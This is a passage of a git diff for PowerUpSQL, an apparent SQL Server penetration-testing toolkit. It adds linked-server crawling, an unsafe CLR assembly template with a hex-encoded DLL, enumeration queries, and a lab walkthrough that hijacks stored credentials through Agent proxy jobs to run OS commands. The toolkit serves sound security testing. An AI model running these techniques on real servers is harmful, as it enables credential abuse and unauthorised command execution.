-Credential $Credential -SuppressVerbose + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_links.xml' $Results | Export-Clixml $OutPutPath } else { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_OleDbProvders.csv' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_links.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } + # Getting Server Links via Crawl + if($CrawlLinks){ + Write-Verbose -Message "$Instance - Crawling linked servers..." + $Results = Get-SQLServerLinkCrawl -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Export2 + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_links_crawl.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_links_crawl.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + } + Write-Verbose -Message "$Instance - END" } End @@ -26989,4 +27380,4 @@ Function Invoke-SQLDumpInfo } } -#endregion \ No newline at end of file +#endregion diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index bafba87..6b6b2bb 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.104.14' + ModuleVersion = '1.105.0' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' @@ -82,6 +82,7 @@ 'Get-SQLStoredProcedureXp', 'Get-SQLSysadminCheck', 'Get-SQLTable', + 'Get-SQLTableTemp', 'Get-SQLTriggerDdl', 'Get-SQLTriggerDml', 'Get-SQLView', diff --git a/scripts/pending/LinkConvertExample.ps1 b/scripts/pending/LinkConvertExample.ps1 new file mode 100644 index 0000000..6600cea --- /dev/null +++ b/scripts/pending/LinkConvertExample.ps1 @@ -0,0 +1,32 @@ +$output = Get-SQLServerLinkCrawl -Verbose -Username sa -Password 'SuperSecretPassword!' -Instance 'MSSQLSRV04.demo.local\SQLSERVER2014' +$CsvResults = $output | +foreach { + [string]$StringLinkPath = "" + $Path = $_.path + $PathCount = $Path.count - 1 + $LinkSrc = $Path[$PathCount - 1] + $LinkDes = $Path[$PathCount] + $LinkUser = $_.user + $LinkDesSysadmin = $_.Sysadmin + $Instance = $_.instance + $LinkDesVersion = $_.Version + $Path | + foreach { + if ( $StringLinkPath -eq ""){ + [string]$StringLinkPath = "$_" + }else{ + [string]$StringLinkPath = "$StringLinkPath -> $_" + } + } + $Object = New-Object PSObject + $Object | add-member Noteproperty LinkSrc $LinkSrc + $Object | add-member Noteproperty LinkName $LinkDes + $Object | add-member Noteproperty LinkInstance $Instance + $Object | add-member Noteproperty LinkUser $LinkUser + $Object | add-member Noteproperty LinkSysadmin $LinkDesSysadmin + $Object | add-member Noteproperty LinkVersion $LinkDesVersion + $Object | add-member Noteproperty LinkHops $PathCount + $Object | add-member Noteproperty LinkPath $StringLinkPath + $Object +} +$CsvResults | export-csv -NoTypeInformation SQL-Server-Links.csv diff --git a/templates/supercowencrypt.cs b/templates/supercowencrypt.cs new file mode 100644 index 0000000..f1f3ec8 --- /dev/null +++ b/templates/supercowencrypt.cs @@ -0,0 +1,206 @@ +using System; +using System.Data; +using System.Data.SqlClient; +using System.Data.SqlTypes; +using Microsoft.SqlServer.Server; +using System.Security.Cryptography; +using System.IO; +using System.Diagnostics; +using System.Text; + +// Source: https://stackoverflow.com/questions/202011/encrypt-and-decrypt-a-string +// Reference: https://msdn.microsoft.com/en-us/library/system.security.cryptography.aes(v=vs.110).aspx +// +// C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\commonlib.cs +// +// CREATE ASSEMBLY commonlib +// FROM 'c:\temp\commonlib.dll' +// WITH PERMISSION_SET = UNSAFE; +// CREATE PROCEDURE [dbo].[beefencrypt] @MyString NVARCHAR (4000) AS EXTERNAL NAME [commonlib].[commonlib].[beefencrypt]; +// CREATE PROCEDURE [dbo].[beefdecrypt] @MyString NVARCHAR (4000) AS EXTERNAL NAME [commonlib].[commonlib].[beefdecrypt]; +// beefencrypt "hello there" +// beefdecrypt "EAAAAHCGLUEsOXF3Y20X/E8riuIfwqpf/qBfEJuYjttS3VDY" + +public partial class commonlib +{ + + [Microsoft.SqlServer.Server.SqlProcedure] + public static void beefencrypt (SqlString MyString) + { + try + { + string encrypted64 = EncryptStringAES(string.Format(MyString.Value),"aeshidethebeef12345"); + + // Create the record and specify the metadata for the columns. + SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000)); + + // Mark the begining of the result-set. + SqlContext.Pipe.SendResultsStart(record); + + // Set values for each column in the row + record.SetString(0, encrypted64); + + // Send the row back to the client. + SqlContext.Pipe.SendResultsRow(record); + + // Mark the end of the result-set. + SqlContext.Pipe.SendResultsEnd(); + } + catch (Exception e) + { + Console.WriteLine("Error: {0}", e.Message); + } + } + + [Microsoft.SqlServer.Server.SqlProcedure] + public static void beefdecrypt (SqlString MyString) + { + try + { + string decrypted = DecryptStringAES(string.Format(MyString.Value),"aeshidethebeef12345"); + + // Create the record and specify the metadata for the columns. + SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000)); + + // Mark the begining of the result-set. + SqlContext.Pipe.SendResultsStart(record); + + // Set values for each column in the row + record.SetString(0, decrypted); + + // Send the row back to the client. + SqlContext.Pipe.SendResultsRow(record); + + // Mark the end of the result-set. + SqlContext.Pipe.SendResultsEnd(); + } + catch (Exception e) + { + Console.WriteLine("Error: {0}", e.Message); + } + } + + private static byte[] _salt = Encoding.Unicode.GetBytes("CaptainSalty"); + + public static string EncryptStringAES(string plainText, string sharedSecret) + { + if (string.IsNullOrEmpty(plainText)) + throw new ArgumentNullException("plainText"); + if (string.IsNullOrEmpty(sharedSecret)) + throw new ArgumentNullException("sharedSecret"); + + string outStr = null; // Encrypted string to return + RijndaelManaged aesAlg = null; // RijndaelManaged object used to encrypt the data. + + try + { + // generate the key from the shared secret and the salt + Rfc2898DeriveBytes key = new Rfc2898DeriveBytes(sharedSecret, _salt); + + // Create a RijndaelManaged object + aesAlg = new RijndaelManaged(); + aesAlg.Key = key.GetBytes(aesAlg.KeySize / 8); + aesAlg.Mode = CipherMode.ECB; + + // Create a decryptor to perform the stream transform. + ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV); + + // Create the streams used for encryption. + using (MemoryStream msEncrypt = new MemoryStream()) + { + // prepend the IV + msEncrypt.Write(BitConverter.GetBytes(aesAlg.IV.Length), 0, sizeof(int)); + msEncrypt.Write(aesAlg.IV, 0, aesAlg.IV.Length); + using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write)) + { + using (StreamWriter swEncrypt = new StreamWriter(csEncrypt)) + { + //Write all data to the stream. + swEncrypt.Write(plainText); + } + } + outStr = Convert.ToBase64String(msEncrypt.ToArray()); + } + } + finally + { + // Clear the RijndaelManaged object. + if (aesAlg != null) + aesAlg.Clear(); + } + + // Return the encrypted bytes from the memory stream. + return outStr; + } + + public static string DecryptStringAES(string cipherText, string sharedSecret) + { + if (string.IsNullOrEmpty(cipherText)) + throw new ArgumentNullException("cipherText"); + if (string.IsNullOrEmpty(sharedSecret)) + throw new ArgumentNullException("sharedSecret"); + + // Declare the RijndaelManaged object + // used to decrypt the data. + RijndaelManaged aesAlg = null; + + // Declare the string used to hold + // the decrypted text. + string plaintext = null; + + try + { + // generate the key from the shared secret and the salt + Rfc2898DeriveBytes key = new Rfc2898DeriveBytes(sharedSecret, _salt); + + // Create the streams used for decryption. + byte[] bytes = Convert.FromBase64String(cipherText); + using (MemoryStream msDecrypt = new MemoryStream(bytes)) + { + // Create a RijndaelManaged object + // with the specified key and IV. + aesAlg = new RijndaelManaged(); + aesAlg.Key = key.GetBytes(aesAlg.KeySize / 8); + aesAlg.Mode = CipherMode.ECB; + + // Get the initialization vector from the encrypted stream + aesAlg.IV = ReadByteArray(msDecrypt); + // Create a decrytor to perform the stream transform. + ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV); + using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read)) + { + using (StreamReader srDecrypt = new StreamReader(csDecrypt)) + + // Read the decrypted bytes from the decrypting stream + // and place them in a string. + plaintext = srDecrypt.ReadToEnd(); + } + } + } + finally + { + // Clear the RijndaelManaged object. + if (aesAlg != null) + aesAlg.Clear(); + } + + return plaintext; + } + + private static byte[] ReadByteArray(Stream s) + { + byte[] rawLength = new byte[sizeof(int)]; + if (s.Read(rawLength, 0, rawLength.Length) != rawLength.Length) + { + throw new SystemException("Stream did not contain properly formatted byte array"); + } + + byte[] buffer = new byte[BitConverter.ToInt32(rawLength, 0)]; + if (s.Read(buffer, 0, buffer.Length) != buffer.Length) + { + throw new SystemException("Did not read byte array properly"); + } + + return buffer; + } +} diff --git a/templates/supercowencrypt.sql b/templates/supercowencrypt.sql new file mode 100644 index 0000000..c5d0db6 --- /dev/null +++ b/templates/supercowencrypt.sql @@ -0,0 +1,8 @@ +-- Change the assembly name to the one you want to replace +CREATE ASSEMBLY [CommonLib] FROM +0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103009D50D2590000000000000000E00002210B010B000012000000060000000000000E300000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000B42F00005700000000400000A802000000000000000000000000000000000000006000000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E7465787400000014100000002000000012000000020000000000000000000000000000200000602E72737263000000A8020000004000000004000000140000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000001800000000000000000000000000004000004200000000000000000000000000000000F02F000000000000480000000200050010250000A40A000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001B300500890000000100001100000F00280400000A168D01000001280500000A720100007028030000060A178D080000010D091672290000701F0C20A00F00006A730600000AA209730700000A0B280800000A076F0900000A000716066F0A00000A00280800000A076F0B00000A00280800000A6F0C00000A0000DE160C007237000070086F0D00000A280E00000A0000DE00002A0000000110000000000100707100160D0000011B300500890000000100001100000F00280400000A168D01000001280500000A720100007028040000060A178D080000010D091672290000701F0C20A00F00006A730600000AA209730700000A0B280800000A076F0900000A000716066F0A00000A00280800000A076F0B00000A00280800000A6F0C00000A0000DE160C007237000070086F0D00000A280E00000A0000DE00002A0000000110000000000100707100160D0000011B30040046010000020000110002280F00000A16FE01130811082D0B724D000070731000000A7A03280F00000A16FE01130811082D0B7261000070731000000A7A140A140B00037E01000004731100000A0C731200000A0B0708076F1300000A1E5B6F1400000A6F1500000A0007186F1600000A0007076F1700000A076F1800000A6F1900000A0D731A00000A1304001104076F1800000A8E69281B00000A161A6F1C00000A001104076F1800000A16076F1800000A8E696F1C00000A0011040917731D00000A1305001105731E00000A1306001106026F1F00000A0000DE14110614FE01130811082D0811066F2000000A00DC0000DE14110514FE01130811082D0811056F2000000A00DC0011046F2100000A282200000A0A00DE14110414FE01130811082D0811046F2000000A00DC0000DE14000714FE01130811082D07076F2300000A0000DC000613072B0011072A0000013400000200C7000DD40014000000000200BD002FEC001400000000020083008E1101140000000002003900F0290114000000001B30040020010000030000110002280F00000A16FE01130911092D0B727B000070731000000A7A03280F00000A16FE01130911092D0B7261000070731000000A7A140A140B00037E01000004731100000A0C02282400000A0D09732500000A130400731200000A0A0608066F1300000A1E5B6F1400000A6F1500000A0006186F1600000A0006110428050000066F2600000A0006066F1700000A066F1800000A6F2700000A13051104110516731D00000A1306001106732800000A130711076F2900000A0BDE14110714FE01130911092D0811076F2000000A00DC0000DE14110614FE01130911092D0811066F2000000A00DC0000DE14110414FE01130911092D0811046F2000000A00DC0000DE14000614FE01130911092D07066F2300000A0000DC000713082B0011082A013400000200B1000ABB0014000000000200A7002CD30014000000000200550096EB00140000000002003900CA03011400000000133004005B00000004000011001A8D200000010A020616068E696F2A00000A068E69FE010D092D0C007291000070732B00000A7A0616282C00000A8D200000010B020716078E696F2A00000A078E69FE010D092D0C0072FB000070732B00000A7A070C2B00082A56282D00000A723D0100706F2E00000A80010000042A1E02282F00000A2A00000042534A4201000100000000000C00000076342E302E33303331390000000005006C00000044030000237E0000B00300004804000023537472696E677300000000F8070000580100002355530050090000100000002347554944000000600900004401000023426C6F620000000000000002000001571502000900000000FA2533001600000100000022000000020000000100000007000000070000002F0000000400000004000000010000000200000000000A00010000000000060032002B000A005A0045000600AE00A40006001601F60006003601F6000A006F01540106008F012B000A009D0154010A00A90139000A00B30154010A00C10154010A00CC015401060016022B0006002C022B0006004C022B0006007F0262020600920262020600A20262020600C10262020600DE02620206000103620206002203A40006002F032B0006004203620206004F03620206006003A40006006D03A400060078032B00060094032B000600D903A4000600E603A4000600FB032B00060005042B000600300424040000000001000000000001000100010010001800000005000100010011007C001000502000000000960064000A000100F82000000000960070000A000200A02100000000960082001400030028230000000096009300140005008824000000009100B5001A0007000525000000008618C30021000800EF240000000091181D040901080000000100C90000000100C90000000100D20000000200DC0000000100E90000000200DC0000000100F4002100C30025002900C30021003100C3002100110085012F003900960133004100C3003A005100C30042005900D40149006100DD014E005100EE0154006100F8014E00610007022100690020022F00710034025A0039003E026B007900C30070008100C30075008900C30021009100B5027C009900CD0280009100D60286009100E9028C009100F20292009100FA029200910012039700B100C3002100B900CD02A00019003C03A600C100C300AE00D100C300B800D9003C037000E10084032100B1008C039200E9009C03BE009100AB032100E900B103D600B100C30086009100C20386009100C9039700F100C300B800F900F1032F0019000004F0000901C3007000B9001504F800110139040D011101CD0213010900C300210020001B002A002E00130022012E000B00190140001B002A006000C400DC00FF00048000000000000000000000000000000000180000000400000000000000000000000100220000000000040000000000000000000000010039000000000000000000003C4D6F64756C653E00636F6D6D6F6E6C69622E646C6C00636F6D6D6F6E6C6962006D73636F726C69620053797374656D004F626A6563740053797374656D2E446174610053797374656D2E446174612E53716C54797065730053716C537472696E670062656566656E6372797074006265656664656372797074005F73616C7400456E6372797074537472696E674145530044656372797074537472696E674145530053797374656D2E494F0053747265616D0052656164427974654172726179002E63746F72004D79537472696E6700706C61696E5465787400736861726564536563726574006369706865725465787400730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465004D6963726F736F66742E53716C5365727665722E5365727665720053716C50726F636564757265417474726962757465006765745F56616C756500537472696E6700466F726D61740053716C4D657461446174610053716C4462547970650053716C446174615265636F72640053716C436F6E746578740053716C50697065006765745F506970650053656E64526573756C7473537461727400536574537472696E670053656E64526573756C7473526F770053656E64526573756C7473456E6400457863657074696F6E006765745F4D65737361676500436F6E736F6C650057726974654C696E650049734E756C6C4F72456D70747900417267756D656E744E756C6C457863657074696F6E0053797374656D2E53656375726974792E43727970746F677261706879005266633238393844657269766542797465730052696A6E6461656C4D616E616765640053796D6D6574726963416C676F726974686D006765745F4B657953697A65004465726976654279746573004765744279746573007365745F4B6579004369706865724D6F6465007365745F4D6F6465006765745F4B6579006765745F4956004943727970746F5472616E73666F726D00437265617465456E63727970746F72004D656D6F727953747265616D00426974436F6E7665727465720057726974650043727970746F53747265616D0043727970746F53747265616D4D6F64650053747265616D57726974657200546578745772697465720049446973706F7361626C6500446973706F736500546F417272617900436F6E7665727400546F426173653634537472696E6700436C6561720046726F6D426173653634537472696E67007365745F495600437265617465446563727970746F720053747265616D52656164657200546578745265616465720052656164546F456E64004279746500526561640053797374656D457863657074696F6E00546F496E743332002E6363746F720053797374656D2E5465787400456E636F64696E67006765745F556E69636F64650000000000276100650073006800690064006500740068006500620065006500660031003200330034003500000D6F007500740070007500740000154500720072006F0072003A0020007B0030007D00001370006C00610069006E0054006500780074000019730068006100720065006400530065006300720065007400001563006900700068006500720054006500780074000069530074007200650061006D00200064006900640020006E006F007400200063006F006E007400610069006E002000700072006F007000650072006C007900200066006F0072006D006100740074006500640020006200790074006500200061007200720061007900004144006900640020006E006F00740020007200650061006400200062007900740065002000610072007200610079002000700072006F007000650072006C00790000194300610070007400610069006E00530061006C007400790000009092612DC92C6841833C9171C7A25FBA0008B77A5C561934E08905000101110903061D050500020E0E0E0600011D05120D03200001042001010804010000000320000E0600020E0E1D1C072003010E11250A062001011D1221040000123105200101122905200201080E050002010E1C0A07040E122912351D1221040001020E042001010E062002010E1D05032000080520011D0508052001011D050520010111510420001D0508200212551D051D050500011D0508072003011D05080809200301120D1255116505200101120D0500010E1D051107090E1245124112551259126112690E020500011D050E13070A12450E12411D0512591255126112790E02072003081D050808060002081D05080907041D051D051D0502030000010500001280890520011D050E0801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F777301000000DC2F00000000000000000000FE2F0000002000000000000000000000000000000000000000000000F02F00000000000000000000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF2500200010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000004C02000000000000000000004C0234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004AC010000010053007400720069006E006700460069006C00650049006E0066006F0000008801000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E00300000003C000E00010049006E007400650072006E0061006C004E0061006D006500000063006F006D006D006F006E006C00690062002E0064006C006C0000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000044000E0001004F0072006900670069006E0061006C00460069006C0065006E0061006D006500000063006F006D006D006F006E006C00690062002E0064006C006C000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E0030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000000C000000103000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 +WITH PERMISSION_SET = UNSAFE + +CREATE PROCEDURE [dbo].[beefencrypt] @MyString NVARCHAR (4000) AS EXTERNAL NAME [commonlib].[commonlib].[beefencrypt]; + +beefencrypt "hello there" diff --git a/templates/tsql/Get-10MostExpressiveQueries.tsql b/templates/tsql/Get-10MostExpensiveQueries.tsql similarity index 100% rename from templates/tsql/Get-10MostExpressiveQueries.tsql rename to templates/tsql/Get-10MostExpensiveQueries.tsql diff --git a/templates/tsql/Get-AgentCredentialList.tsql b/templates/tsql/Get-AgentCredentialList.tsql new file mode 100644 index 0000000..9507d1a --- /dev/null +++ b/templates/tsql/Get-AgentCredentialList.tsql @@ -0,0 +1,15 @@ +// Get list of credentials used by agent jobs. + +USE msdb; +GO + +SELECT +j.name AS JobName, +s.step_id AS StepID, +s.step_name AS StepName, +c.name AS CredentialName +FROM sysjobs j +JOIN sysjobsteps s ON j.job_id = s.job_id +LEFT JOIN sys.credentials c ON s.proxy_id = c.credential_id +WHERE c.name IS NOT NULL +ORDER BY j.name, s.step_id; diff --git a/templates/tsql/Get-Column.sql b/templates/tsql/Get-Column.sql index 43e80f3..4f5c250 100644 --- a/templates/tsql/Get-Column.sql +++ b/templates/tsql/Get-Column.sql @@ -2,8 +2,29 @@ -- Description: Get list of columns for the current database. -- Reference: https://msdn.microsoft.com/en-us/library/ms188348.aspx -SELECT TABLE_CATALOG AS [DATABASE_NAME], - TABLE_SCHEMA as [SCHEMA_NAME], - TABLE_NAME,COLUMN_NAME, - DATA_TYPE -FROM [INFORMATION_SCHEMA].[COLUMNS] +SELECT + @@servername as [INSTANCE_NAME], + t.TABLE_CATALOG AS [DATABASE_NAME], + t.TABLE_SCHEMA AS [SCHEMA_NAME], + t.TABLE_NAME, + CASE + WHEN (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) > 1 THEN 1 ELSE 0 END) = 1 THEN 'GlobalTempTable' + WHEN t.TABLE_NAME LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'LocalTempTable' + WHEN t.TABLE_NAME NOT LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'TableVariable' + ELSE t.TABLE_TYPE + END AS Table_Type, + c.COLUMN_NAME, + c.DATA_TYPE, + st.is_ms_shipped, + st.is_published, + st.is_schema_published, + st.create_date, + st.modify_date AS modified_date +FROM [INFORMATION_SCHEMA].[TABLES] t +JOIN sys.tables st ON t.TABLE_NAME = st.name AND t.TABLE_SCHEMA = OBJECT_SCHEMA_NAME(st.object_id) +JOIN sys.objects s ON st.object_id = s.object_id +LEFT JOIN sys.extended_properties ep ON s.object_id = ep.major_id + AND ep.minor_id = 0 +JOIN [INFORMATION_SCHEMA].[COLUMNS] c ON t.TABLE_NAME = c.TABLE_NAME AND t.TABLE_SCHEMA = c.TABLE_SCHEMA +ORDER BY t.TABLE_CATALOG, t.TABLE_SCHEMA, t.TABLE_NAME, c.ORDINAL_POSITION; + diff --git a/templates/tsql/Get-Credentials-Hijack.tsql b/templates/tsql/Get-Credentials-Hijack.tsql new file mode 100644 index 0000000..2b1bb9d --- /dev/null +++ b/templates/tsql/Get-Credentials-Hijack.tsql @@ -0,0 +1,153 @@ +-- Tested and worked - SQL Server v2014 instance +-- Author: Scott Sutherland @_nullbind (Twitter) + +-- ################################# +-- LAB SETUP SUMMARY +--- ################################# +-- 1. Install local instance +-- 2. Create local OS user named 'testuser'. +-- 3. Log into SQL Server instance as a sysadmin and create credential. + +-- ################################# +-- LAB SETUP SUMMARY +-- ################################# +-- 1. Log into the SQL Server instance as a sysadmin. +-- 2. List credentials. +-- 3. List proxy accounts. +-- 3. Create proxy account and assign privileges to it (if proxy account doesnt exist for credential already). List proxy accounts to confirm addition. +-- 4. Create Agent job that uses the proxy account. +-- 5. Execute a PowerShell, VBscript, JScript, or CMDEXEC Agent Job. These will create processes on the system in that user context. +-- 6. Confirm execution by reviewing history. + +--- ################################# +-- Walk Through Below +--- ################################# + +---------------------------------------------------- +-- Create a new credential named 'MyCredential' for testing (for lab only) +---------------------------------------------------- +CREATE CREDENTIAL [MyCredential] +WITH IDENTITY = 'yourcomputernamehere\testuser', +SECRET = 'P@ssw0rd!'; + +---------------------------------------------------- +-- Get a list of all credentials +---------------------------------------------------- +select * from sys.credentials + +---------------------------------------------------- +-- Get a list proxies +---------------------------------------------------- +USE msdb; +GO + +SELECT + proxy_id, + name AS proxy_name, + credential_id, + enabled +FROM + dbo.sysproxies; +GO + +---------------------------------------------------- +-- Create a Proxy Using the Target Credential (if needed) +---------------------------------------------------- + +USE msdb; +GO + +EXEC sp_add_proxy + @proxy_name = N'MyCredentialProxy', -- Name of the proxy + @credential_name = N'MyCredential'; -- Name of the existing credential + +EXEC sp_grant_proxy_to_subsystem + @proxy_name = N'MyCredentialProxy', + @subsystem_id = 3; -- 3 represents the Operating System (CmdExec) subsystem + +---------------------------------------------------- +-- Get a list proxies - again +---------------------------------------------------- +USE msdb; +GO + +SELECT + proxy_id, + name AS proxy_name, + credential_id, + enabled +FROM + dbo.sysproxies; +GO + +---------------------------------------------------- +-- Create the SQL Server Agent Job Configured to use the Proxy Account +---------------------------------------------------- + +USE msdb; +GO + +-- Create the job +EXEC sp_add_job + @job_name = N'WhoAmIJob'; -- Name of the job + +-- Add a job step that uses the proxy to execute the whoami command +EXEC sp_add_jobstep + @job_name = N'WhoAmIJob', + @step_name = N'ExecuteWhoAmI', + @subsystem = N'CmdExec', -- Specifies an Operating System command + @command = N'c:\windows\system32\cmd.exe /c whoami > c:\temp\whoami.txt', -- The OS command to execute + @on_success_action = 1, -- 1 = Quit with success + @on_fail_action = 2, -- 2 = Quit with failure + @proxy_name = N'MyCredentialProxy'; -- The proxy created earlier + +-- Add a schedule to the job (optional, can be manual or scheduled) +EXEC sp_add_jobschedule + @job_name = N'WhoAmIJob', + @name = N'RunOnce', + @freq_type = 1, -- 1 = Once + @active_start_date = 20240820, -- Start date (YYYYMMDD) + @active_start_time = 120000; -- Start time (HHMMSS) + +-- Add the job to the SQL Server Agent +EXEC sp_add_jobserver + @job_name = N'WhoAmIJob', + @server_name = N'(LOCAL)'; -- The server where the job will run + +---------------------------------------------------- +-- Get List of Proxy Account used by Agent Jobs +-- Show job, step, proxy, cred, and identity +---------------------------------------------------- + +USE msdb; +GO + +SELECT + jobs.name AS JobName, + steps.step_id AS StepID, + steps.step_name AS StepName, + proxies.name AS ProxyName, + ISNULL(credentials.name, 'No Credential') AS CredentialName, + ISNULL(credentials.credential_identity, 'No Identity') AS IdentityName +FROM + msdb.dbo.sysjobs AS jobs +JOIN + msdb.dbo.sysjobsteps AS steps ON jobs.job_id = steps.job_id +JOIN + msdb.dbo.sysproxies AS proxies ON steps.proxy_id = proxies.proxy_id +LEFT JOIN + sys.credentials AS credentials ON proxies.credential_id = credentials.credential_id +WHERE + steps.proxy_id IS NOT NULL +ORDER BY + jobs.name, steps.step_id; + +-------------------------- +-- Execute the Job +-------------------------- +EXEC sp_start_job @job_name = N'WhoAmIJob'; + +-------------------------- +-- Check the Output/Error +-------------------------- +EXEC sp_help_jobhistory @job_name= N'WhoAmIJob'; diff --git a/templates/tsql/Get-Table.sql b/templates/tsql/Get-Table.sql index de35c94..9e45137 100644 --- a/templates/tsql/Get-Table.sql +++ b/templates/tsql/Get-Table.sql @@ -2,7 +2,25 @@ -- Description: Returns a list of tables for the current database. -- Reference: https://msdn.microsoft.com/en-us/library/ms186224.aspx -SELECT TABLE_CATALOG AS [DATABASE_NAME], - TABLE_SCHEMA AS [SCHEMA_NAME], - TABLE_NAME,TABLE_TYPE -FROM [INFORMATION_SCHEMA].[TABLES] \ No newline at end of file +SELECT + @@SERVERNAME AS [INSTANCE_NAME], + t.TABLE_CATALOG AS [DATABASE_NAME], + t.TABLE_SCHEMA AS [SCHEMA_NAME], + t.TABLE_NAME, + CASE + WHEN (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) > 1 THEN 1 ELSE 0 END) = 1 THEN 'GlobalTempTable' + WHEN t.TABLE_NAME LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'LocalTempTable' + WHEN t.TABLE_NAME NOT LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'TableVariable' + ELSE t.TABLE_TYPE + END AS Table_Type, + st.is_ms_shipped, + st.is_published, + st.is_schema_published, + st.create_date, + st.modify_date AS modified_date +FROM [INFORMATION_SCHEMA].[TABLES] t +JOIN sys.tables st ON t.TABLE_NAME = st.name AND t.TABLE_SCHEMA = OBJECT_SCHEMA_NAME(st.object_id) +JOIN sys.objects s ON st.object_id = s.object_id +LEFT JOIN sys.extended_properties ep ON s.object_id = ep.major_id + AND ep.minor_id = 0 +ORDER BY t.TABLE_CATALOG, t.TABLE_SCHEMA, t.TABLE_NAME; diff --git a/templates/tsql/Get-TempTableColumns.sql b/templates/tsql/Get-TempTableColumns.sql index 6723861..eb8bdb5 100644 --- a/templates/tsql/Get-TempTableColumns.sql +++ b/templates/tsql/Get-TempTableColumns.sql @@ -1,15 +1,25 @@ --- List temp tables, columns, and column types 